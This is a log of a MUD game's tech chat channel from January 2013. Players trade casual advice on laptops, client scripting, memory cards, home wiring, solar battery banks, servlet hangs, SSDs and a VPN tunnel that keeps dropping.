T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vakieh Tech: Their b2c is appalling
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: their being dell or lenovo
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Shirana Tech: Hello, I'm trying to make the alias shown in help volley, and I'm typing it correct, but the alias is only recognizing volley. It's not executing the shoot commands.  Not sure what I'm missing.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vakieh Tech: Their being Lenovo
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: lenovo has good b2b??
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vakieh Tech: Sensational
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vakieh Tech: But you need an account above the $100k annual mark to get the good stuff
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: why are they good?  did it come with the ibm biz they bought years ago?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vakieh Tech: They didn't really 'buy' so much as they ARE IBM's old B2B wing
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vakieh Tech: And it's so good because they know exactly how many competitors they have to beat to win the contracts, and nobody contracts more than 1-2 years
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i bought a lenovo laptop off newegg to keep by my toilet, it doesn't even have a standard layout keyboard.  The shift, alt, and delete keys are all in the wrong positions.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vakieh Tech: Don't touch Lenovo consumer with a 100ft pole :-P
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Turie Tech: I like Toshiba
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Lulz Tech: I use a Toshiba and I can't stand them :(
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: actually it's about time to upgrade, what laptops do you guys keep by your toilets for entertainment?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Turie Tech: Mine works nicely.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vakieh Tech: Toshiba, idk, HP and Samsung are winning the quality race atm
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vakieh Tech: Just be aware HP crams bucketloads of bloatware onto their laptops - format and start fresh.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vakieh Tech: Can go e-machine if you just want a cheapy - buy the extended warranty, though
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Turie Tech: That is why I like Toshiba since the bloatware is not that bad.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vakieh Tech: Though tbh, Apple is the current laptop king, much as I hate the OS
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Vakieh Tech: Can try a hackintosh on a Pro or Air?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: vak why on earth would you ever suggest buyign extended warranty
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Summoner Yuna Tech: What's with this new Youtube glitch where videos sometimes randomly re-start from the beginning? Is it due to one of my Chrome extensions or is it an actual YT glitch that was introduced a few months ago due to an update (because it randomly started appearing a few months ago. Really often at first, not as often now).
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Summoner Yuna Tech: Nobody seems to know why it's happening or how to stop it from happening, just that it's happening.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Dat Eutychus Tech: Does it happen in safe mode w/ Networking?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Aliens Tech: in mushclient, can you do scripting from command line?    eg   /script world.note("Test");
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Yes. I think standard is \\\script
T3/r7/2013-01-15.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: with the scripting prefix, yes
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Aliens Tech: thanks
T3/r7/2013-01-15.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: in aardmush it's \\\ by default, in normal mush you'll need to enable it in preferences
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Martini & Tyebald Tech: is there a way to get a bast miniwin to forcibly come into the foreground?  my miniwin_events window has disappeared on me.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: https://code.google.com/p/bastmush/wiki/miniwin_events
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Martini & Tyebald Tech: thanks.
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Redryn Tech: hmm, anyone knows where razer mouse drivers install to?
T3/r7/2013-01-15.txt.gz:{chan ch=tech}Elimron Tech: how do I set a trigger that picks up my weapon if I am disarmed in a fight?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Cody Tech: anyone know how to open the inventory window for basts eq db
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: New Java, huh? Wonder what 0-day I'm getting with this one...
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: 0-day attacks on Java mostly refer to Applets that nobody uses
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: And .jsp server applications you grant access to your computer to
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Aurlia Tech: Hi Tech, I installed the mushclient the other day and I ended up going back to Cmud becouse I had some lag over my remote client. Now I'm getting these brackers infront of alot of my information for exampel {channel ch=newbie}
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Aliens Tech: tags off
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Aurlia Tech: Is that all I need to turn off that the Aardwolf client turned on ?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: So today I found out about this thing called Eye-Fi
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: SDHC cards for cameras and such... with built-in wi-fi
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Turie Tech: They cost around 30-40 US
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: they've been around a while
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Niceish idea Vak, I wonder how practical they are though. It seems like it'd be more useful for a professional - but at the same time - that also seems to be the category of people who would have no interest in such a thing =p
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: The thing is 32mm x 24mm x 2mm - how in the world did they fit 16gb of class 16 flash memory plus a wifi connection in there???
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: there used to be compactflash cards before SD cards
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: (that had networking capability, that is)
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Same argument applies I think. I dunno. 
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: CF I can see, the things are 100x as big :-)
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: but with card readers built into modern computers, I wouldn't find any need or desire to network the camera directly
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: they were also a decade older
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: and yeah, there were CF cards which were literal hard drives (i.e. rotating spindles)
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: IBM made them, later spun off to hitachi
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: called Microdrives, from everything i saw. Not sure if it was a trademark, or a general term though
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: well of COURSE the A Team was stronger!
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: mis :P
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: trademark
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: This c16 16gb is $134, I don't really need one, but the technophile in me is screaming to buy it o.0
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Makes sense. Though from what I remember CF and the microdrives are really just 40 pin IDE interface + 4 pin power
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: 40 pin ATA interface, rather
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: nod, CF was basically modified IDE, and CF-to-PCMCIA adapters were great and simple at like 10 bucks
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: that's how I dual-booted one of my early laptops
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Neat.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: I remmeber there was old adapters that would put 2xCF cards in the mounting of a single 2.5 HD... don't recall if it was raid, or what.. but that was before SSDs became so available
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: Theoretical maximum capacity of CF cards is now 144 petabytes... why does anybody know this?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: heh, practical current maximum capacity of CF cards is more like 128GBs cuz nobody's investing in producing them anymore ;-)
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: sdxc will outstrip current cf speeds, and with no investment new cf speeds seem unlikely
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: yup, CF is like non-SATA IDE...both essentially dead
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: network devices used to use PC Cards as their storage, then they moved to CF...now they're well on their way to moving to SD
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: Wait, it's already happened - fastest CF card rate is 90mb/s, fastest SDXC hitting 104
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: Pretty sure the bottleneck becomes the camera computer at that point
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: well,for the eyefi, bottleneck would be write speed, antenna on the device, and Internet access...
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: Oh, not talking eye-fi here, just the write speeds for the cards
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: Not sure any of the current models could saturate a 104 mb/s interface
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: write, read, or interface?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: write, of course - have to get those fps up there :-)
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Anyone around familiar with electrical wiring? I know maybe not the place for this.. but figured worth a shot. Specifically in the US, but I'm sure some of it is a bit universal
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Ixle Tech: What's your question?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: First things first: touch it without turning the breakers off it not a good idea. No matter how sure you are that particular section isn't live.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Swalec Tech: my advice is that, if you feel the need to ask on a tech channel on a mud, then buy an electrician
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Ah yeah, Vak. =p
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Swalec Tech: second advice is make sure not to investigate standing in salty water
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: It was more, is running 2 seperate circuits within 1 section of conduit generally permitted? I mean it seems it must be - for anything other then 120/220 it'd be silly not to... But I figured there might be some reason
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: The amount of times I have heard my stepfather say 'it's fine' ZZZAP 'Motherf*()%^'... pool installer, handles various electrical installs during
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Swalec Tech: heat generation -- if you have too many things in one conduit they can get too hot
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: Phraeaxes might know, he's a sparky
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: Are both lines power? Running power and data in the same conduit obv. a bad idea
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: I don't think heat is likely to be an issue - talking some flourescent lights and a garage door opener =p
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Nod. both power. 2 seperate 120V circuits - one switched, the other not
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Swalec Tech: what is the ampage of the door opener?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Zade Tech: if the wires are getting hot in a conduit, the wire resistances are too high for the current flowing
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Not sure off the top of my head. I think it's a smallish one, but thats unlikely to tell you directly. I know they're 15amp circuits
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Swalec Tech: if you were in the UK, doing this work would be illegal
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: taking a leak is illegal in the UK, as is breathing
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Ah, I'm not in the UK, in the US.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Runtur Vanion Tech: while we on circuits im curious (12v) if batteries tied in a series does it increase amphrs or does it make it 12v x#of batt= n volts?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: in series will increase voltage, van
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: 2x12v in series will be 24v.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Swalec Tech: sure, that's true tigernuts, although urinating is controlled in most countries
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Runtur Vanion Tech: ok so  parralle would just increase amps then ?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: In paralell will give the same voltage, higher amphrs.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Well, higher amperage, yeah
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Swalec Tech: the UK rules might be a BIT tight, but people did keep burning their houses down which is not nice for the firemen, or the people who live next door. 
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Runtur Vanion Tech: and batt life which design is easier on battery ?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Careful with wiring loads in paralell though.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Runtur Vanion Tech: so wires need to be same length ?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Van... you usually have a range of acceptable voltages.... if you try and run them in series vs paralell it is different.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: No Van, not neccesarily.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Zade Tech: with batteries in parallel, same voltage and amperes at the appliance, longer duration
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Runtur Vanion Tech: trying to decide which way to design a battery bank for a 2 kw solar power system
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I'd go in series for a battery bank
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Zade Tech: DC batteries is not the same as AC from the mains
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: daisy chain that thing
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Will depend a lot on the inverter you're using
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Runtur Vanion Tech: and 12 volt is fine  but i see some batter mentionings for the series over parralle
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: No really, dalo. It'll do best with it linked in series regardless, it just may take longer.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Runtur Vanion Tech: pure sine 30 amp
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Er Cheez.... if the inverter expects say, 24-48 volts, and you wire the batteries in such a way that it is less then 24 or more then 48.... that is likely to be a problem
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: what was this for, anyway?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Runtur Vanion Tech: off grid system
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: ahh
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: post apoc meltdown :P
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: solar or other?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger looks in the mirror, sees his face, and runs away terrified!
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: He said solar, iirc
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Runtur Vanion Tech: ye working up to 13 kw-hrs per day
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: solar panels tend to standardise at 12v, so you're probably making a rod for your own back if you use more
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: the 24-48 was just a random range for the purpose of illustrating a point. I don't know what "normal" is for inverters
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: this site details the wind turbine route, but has details including links to other literature and wiring diagrams of controllers: http://mdpub.com/Wind_Turbine/
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Zade Tech: some of the English are not as smart as the Americans (?) -- and with the higher population densities, the UK government regulations are stricter -- (and the Red-Green Show is Canadian)
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Runtur Vanion Tech: there are inverters that will take 12/24/48 volt
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: 12v inverters are common because of their usage with batteries on motorhomes/boats/barges/cars
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Runtur Vanion Tech: 12 volt batteries are most common and probably cheaper 
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Swalec Tech: some of the English are not as smart as some of the Americans would be a better statement
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: it's fair to say that both countries have more than their fair share of retards, swalec
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Runtur Vanion Tech: nod nod thats where i get most of my inverters :p but they all 20-30 amps
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: I think willfully ignorant, might be a better measure
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: So... any input on the 2 circuits in 1 conduit?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: Google says fine under all circumstances bar power<->data (which should be obvious)
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Nod. I know power and data are best run perpindicularly, if they need to cross at all
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Thanks Vak
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: You'd be amazed how often phone lines get run with power lines. Then people stop and say 'but why is my internet dropping?'
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: 1st call to this servlet takes 100ms. Second call takes several minutes and blocks access to other servlets in the applications while it's hung. Once it finally responds all other servlets unblock. The servlets are in different classes, they do not rely on shared resources. Glassfish server. Any ideas?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Lol. I'm not quite that silly. Really - It's more.. I'm going to put up some flourescent shop lights in the garage. And theres a conduit there for the garage door opener, and some other stuff. I either have to cross one over the other - which will look messy, and they'll have to cross multiple times... or combine them in to a single conduit, which will look much neater, and allow me to fix some of the other issues with the run thats there
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: thought it might be some form of contention or race condition, but happens regardless of whether synchronised or not
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: Check for connections getting left open, combined with maximum connections per user/MAC/ip - could be waiting for timeout on the original
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: hrm, maximum http connections, now there's a thought
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: now to find it in the configuration
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Now I guess the only question left is 1/2" or 3/4"..
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: 3/4"
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: granted that space for the 3/4 isn't an issue. it means you can always add more later
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: hrm, can't see anywhere where there is a limit to per user or per ip connections. The only thing vaguely relevent is a Http thread pool size/max/min
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Daloran Tech: Nod, makes sense from that perspective.. most of the boxes seem to be 1/2" or 3/4" mixed... mostly just wondering which bender I should buy, i don't want to buy multiple if i can avoid it
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: max HTTP connections for the server is 500, HTTP thread pool initially 20, max number 500
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vakieh Tech: Right, but if an old connection has been left open (that first, quick connection), it might have limits to number of connections from the SAME device
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: bloody IE and it's "jumping into quirks mode for random unjustified reasons"
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: ok, figure this out. The exact same web page runs on IE fine on my local glassfish installation, but drops into quirks mode when served from the development webserver
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: got to be a crazy IE security thing
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: ok, it screws up locally too. passes w3c html5 validation
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: lol, you couldn't make that up. Microsoft's HTML5 checker doesn't work on IE
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: ok, it gets more stupid. The page is rendered in quirks mode. If you view source, copy and paste the entire source to a new page, and view that, it renders correctly
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tigernuts Tech: man that sucks
T3/r7/2013-01-16.txt.gz:{chan ch=tech}SuperJayT Tech: Can anyone recommend a spellup script for Cmud?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Hanslanda Tech: don't think there is one, but Atreides' old zmud script should still work if you can find it.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Hanslanda Tech: many of us have incorporated spellup into our larger setups, so it's not really just a spellup script anymore.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Hanslanda Tech: the rest of us just use the in-game features.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Hanslanda Tech: here's a really quick and dirty spellup script, though: #trigger {^{affoff}} {spellup}
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Jedhi Tech: what was the command to get a unique id for a new plugin?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Jedhi Tech: sorry, it is under edit
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Mushambo Tech: I've heard performance suffers once hard-drives get more than ~ 75% full...if my HD is partitioned into two, does that apply for each partition or the total? Or am I completely off-base?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: that depends
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: you lose performance due to time required to find free space
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: so, if you have 2 drives then still one of them will cause losing performance anyway
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Mushambo Tech: Doh! Okay thanks :)
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: OTOH some parts of disk are faster than others, so if you place there some data, those date will be accessed faster
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: alse repairing small partition is faster than bigger one
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: OTOH using 2 small partitions you will lose more performance due to fragmentation
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: OTOH using single partition you will also lose performance due to various factors
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Mushambo Tech: Well I use diskeeper for fragmentation
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: the ultimate solution is : use SDD instead of HDD
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Book of Etzli Tech: How many hands do you have?!
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Hanslanda Tech: he's got four, like what's-her-name from Aeon Flux.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: maybe instead of OTOH I should use OTOF (on the other finger)
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Mushambo Tech: Well there's the whole cost issue in the meantime :)
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Mye Tech: not necessarily, trachx.. crappy SDD doesn't outperform decent spinning disk
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Or on the other foot.
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: well, for simple home solution ordinary SDD will be faster than HDD
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: also, much, much smaller
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: quieter too
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: and less power reuirement
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: though limited lifetime
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: or rather HDD may work forever, SDD will work no more than XXX TB data written
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Mye Tech: is that an issue with home use? pagefile and browsing history/cookies will get rewritten quite a bit
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: that depends, how do you use your drive
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: simply, SDD has limit for cell/block: let's say 1mil writes, and after that that cell/block is no longer programable
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: but drive has controller which translates your address 1 sec to drive physical sec - and that is remapped
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: so, when you do 1 mil writes in sec 1 it doesnt mean those got written to the same physical cell
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: in sec I mean sector
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: anyway, you can safely assume that if you buy now SDD it should last at least 5 years
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: unless, you really often write new contents and keep drive filled up to 90%
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: but, SDD are still quite expensive comparing to HDD, for a price of 256 SDD you can buy 2 enterprise class HDD
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: also each of them twice size of that SDD
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Kelvar Tech: what is SDD?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: sorry, SSD
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Elkore Tech: solid state drive
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: so I would say, that nowadays I don't see any reason to partition drive other than security reasons
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: or rather safety (there is chance that only one partition will be damaged) and security (guaranted that data will not eat all available space)
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: but in old days I remember I had drive letter 'F:' on my 8 GB HDD
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone have wrvs4400n cisco vpn router? i am having issues with ipsec tunnel not staying up
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: vpn tunnels usually has 2 sides
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: do you get disconnected after expiring SA lifetime ?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ya but not every time
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: it will stay up for a couple hours and then just go down
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: or it will stay up for one cycle and then die
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: maybe lack of traffic causes tunnel to disconnect
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: hmm that is entirely possible
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: strange there is no stay alive or dead peer setting for this router though
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: I don't see any option that could do check connectivity or nailed up
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: maybe on the other side is something like that
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod i have those both setup on the firewall at the office
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: cannot you do something like 'ping -i5 xxx.xxx.xxx.xxx' just to make some traffic ?
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod that was what i was just starting on. make it send a ping every 5 minutes
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: thanks :)
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: sometimes it is nice playing a game where smart people live
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: anyway, sometimes MTU may cause problems 
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: also, for that price you could get Zyxel USG 20W, which seems to have more options than that Linksys
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: haven't read back the whole thread, but usually mtu would cause a connect to entirely not work rather than going up/down (PMTU blackhole)
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Tech: there was some canadian bank that was the best test site for mtu issues a decade or so ago
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: I had recently problems related with MTU, those were causing something like that: small amount of data worked - like output of finger , large not - like dmesg 
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: though it didn't disconnected tunnel, only caused ssh session to hang
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ya this seems to go down and then intial traffic will bring it back up but by that time the end users have given up
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: telling them to try something twice really hasn't been successful
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Trachx Tech: keep alive ping may help, especially if this tunnel only sometimes gets disconnected
T3/r7/2013-01-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ya almost done with the batch now
